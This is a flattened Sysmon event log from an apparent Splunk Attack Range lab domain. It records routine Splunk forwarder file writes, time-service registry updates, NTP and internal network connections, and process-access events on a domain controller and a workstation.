AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50101-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 13241300x800000000000000013623Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-SetValue2021-09-10 14:43:06.089{625C326B-67EE-613B-1300-00000000F101}368C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\W32Time\Config\LastKnownGoodTimeQWORD (0x01d7a652-0x2a7a142d) 23542300x800000000000000038448Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:06.357{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=5BC58F26D882FD22F1B83E2E80337B3D,SHA256=A9E2BCCDC00DECF590171A8700CB0D490BA357A73A547C73EA5BDB38D999C7DD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013626Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:07.870{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9732C437E6FBAA3118E12B020B8CC799,SHA256=959F9868469247872542825D19B3690B4A664E23C8DEBC06BD3C5BEE900B84C4,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038454Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:05.399{7BD73061-65B2-613B-1000-00000000F001}364C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudpfalsefalse10.0.1.14win-dc-387.attackrange.local123ntpfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal123ntp 23542300x800000000000000038453Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:07.919{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038452Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:07.810{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=545F22D0C0241C6AAAA43F1C3538479B,SHA256=FED058E5C048B798AFBE889AF8F09508F481169ECD4EC1B8DA601F3B7EB16F0F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038451Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:07.435{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=EBE74EDCA6F4D29A80C5FE228258CCFA,SHA256=AF77376D21588D33F3ED7BAF66EA77869AA7C2003C3D0D413DE8106FE08B97F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038450Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:07.185{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013627Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:08.885{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=552B56149D03C13C428DD8501B5DFD66,SHA256=104191EA0542039F5DEA631D7C144BF4A2ADED57090CD5E1D324AD873197ABB0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038457Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:08.826{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E641E32DB8B58AC0066FD635538A9F18,SHA256=EA8747D62496E482C12B32FFC4780C75C502BDA5097D85B4E74DF2E4C9CAD408,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038456Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:08.685{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038455Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:08.516{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=CD7E1E2938270EA44C85ECFCB66B2080,SHA256=8966F3569A2EFF9943CDBFC00E1731BEB3BDF8460E371D828CC675F95D5E8D43,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038459Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:09.891{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=803930944C87E110FA11C5E851420BCF,SHA256=29C9EE293EB5B3494D028A6E59CB04FE2E3823C7D65193A69860AACB0227ADED,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013628Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:09.917{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=69B1F31AB739EE1E6C505A5A6B1C979A,SHA256=0CFEEDA0F59A7C7D6266C326CA52BE21E2E3C93644D0F3923630D31118AFB377,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038458Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:09.560{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B19D8A3BA004D5CE656A36C330594974,SHA256=6E23F6F0ADE34E4029999DCEA86584952D8690E0CE668C2EB744FBF99BD6DFA3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013629Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:10.951{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5D480757E62F694A5E1560DAC0A2372C,SHA256=F9681344AD38ED6FDC19D07A459A9FBD8CBF65132D1A22EB509032D41335DF98,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038462Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:10.893{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8CE144B5491E9174FE2FF9804B6496BF,SHA256=3FDBEC78017C958CBFA1D3FF4902F57BCE7DB060C9BDABB9E0E6B164E1E8DA98,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038461Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:10.596{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=4A1DB85F1011A1167FED306936BCE796,SHA256=8131615F2242A8F93AC0B357796AE43C8F4C2CC3F620AB8970B97375F3EA8BF0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038460Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:07.586{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59202-false10.0.1.12-8000- 23542300x800000000000000038464Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:11.893{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=98CDF8E585995DF2F9AA39B8F1806122,SHA256=984995CBFBC688B3812E6B42A9D6ACFD47CE867C2339192449A1ECAFFC22A453,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013630Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:10.419{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50102-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000038463Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:11.705{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=D2C51A9ED1280A95A05C4EC802DF2B19,SHA256=59BE105BFE4BA2D06C4A360E3B7EF6E75F9636B01224825332B105463A0872F0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038466Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:12.908{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7A56E7B699EE6C5C1913D30330515220,SHA256=F302EB755FA1364B7FB87014A8EB2723C860A471C7E463416753E0EF6243FAEC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013631Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:11.998{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2F5FD880972CF06B2317A4BAA2E79D11,SHA256=5BAA469A9BB08505A7E7076026642CD3F70D8BC00DACB6CF68082D846322C10B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038465Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:12.893{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=7B39672F62C02EA9FFD45F6CF3261D66,SHA256=1B21AF6F26EF097AEF76E52B9CCAC0961D4BDC7254B2C4663761644247B01419,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038468Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:13.955{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AE490E16E5F7E6E13C4FC3CF06A58EDF,SHA256=364A1BD30FE32C2BB2E866ED14D0ED9ECEF631CF56CF5A7959DB0D74BE5CC756,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013632Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:13.014{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1970C7DE268A72AF84D3E3445A59BDE8,SHA256=D6D58C6F8F4CEDF71FB471E51AEB7BECED885314545AA1C5C6A5FA6A2FE69D16,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038467Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:13.924{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=7D948B68EDC20493806244EB65EDBA97,SHA256=20B9BFE81CD4C31AC69138716B6699D4D553367BBE10C894CDE187387456ACC1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038472Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:14.990{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D6377CF05FA3397C2453DF1166304BDF,SHA256=3D2E78486806F6C5E9EFBB016A4CD315E70A1CF8D7A571981350380C5867ABAC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013633Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:14.061{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0D7D6100968D29CFF1B8ADD526EB21EA,SHA256=16F1BD9520838E2A9611CD492357412E31B134723F8705B1575A2E850CB46695,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038471Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:14.955{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B7AFDF4FCF1D6296A5BFEFD8CEF89609,SHA256=B07C93585DD0BAEB7D9EFFF3AC65E0D62F982619341C62B726A745F24C60D077,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038470Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:14.330{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=3A1EB39E89784085BFAB5EB802EFC450,SHA256=29BB58F0DE5372339299B5A4CDE462B32D433F5C18F555EC2BA8F5732E09CB85,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038469Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:14.330{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=5C78F2C3DA40CCC614031F42C6BEE0DB,SHA256=A4E1BDAF96187F664E1049E154C613F307D617153B81B060B4B57737A6298D55,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038473Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:15.987{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=4CEDD0555933E15AF468AF4C7400970F,SHA256=32B8A724E67332CF40BE2EE9604011A3270108A4A8EE6E434BA3A3405D73F2CD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013634Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:15.076{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=94BF32E40638D0764FA5732877B26BBD,SHA256=9C8821D4C111CA34D49AEF690F4D54A4B27B935AACA0B24CE1573AA60F3EAFAC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013635Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:16.092{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8526E064CD9B14DC327B7E2F6FC8D317,SHA256=5673BAA3A0179487F686FEC5629ABD3EB93909E9FC1CC160E5BE401AE89ACE4C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038475Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:13.528{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59203-false10.0.1.12-8000- 23542300x800000000000000038474Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:16.003{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=03F9550A2354BFAD91041683C44862BF,SHA256=B97B675A570FC5ED73917924656630673ED277A859B0E28BD154A57403519337,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013637Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:16.438{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50103-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013636Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:17.123{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DE70A2508066E0FA42C230A7AB634397,SHA256=34B6D67172E6B6030B1E48281FE3E4C300FB68A3EAC959D8CC603F659D693B37,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038485Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.674{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-6F05-613B-2207-00000000F001}5504C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038484Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.674{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038483Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.674{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038482Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.674{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038481Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.674{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038480Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.674{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F05-613B-2207-00000000F001}5504C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000038479Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.674{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-6F05-613B-2207-00000000F001}5504C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038478Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:17.678{7BD73061-6F05-613B-2207-00000000F001}5504C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 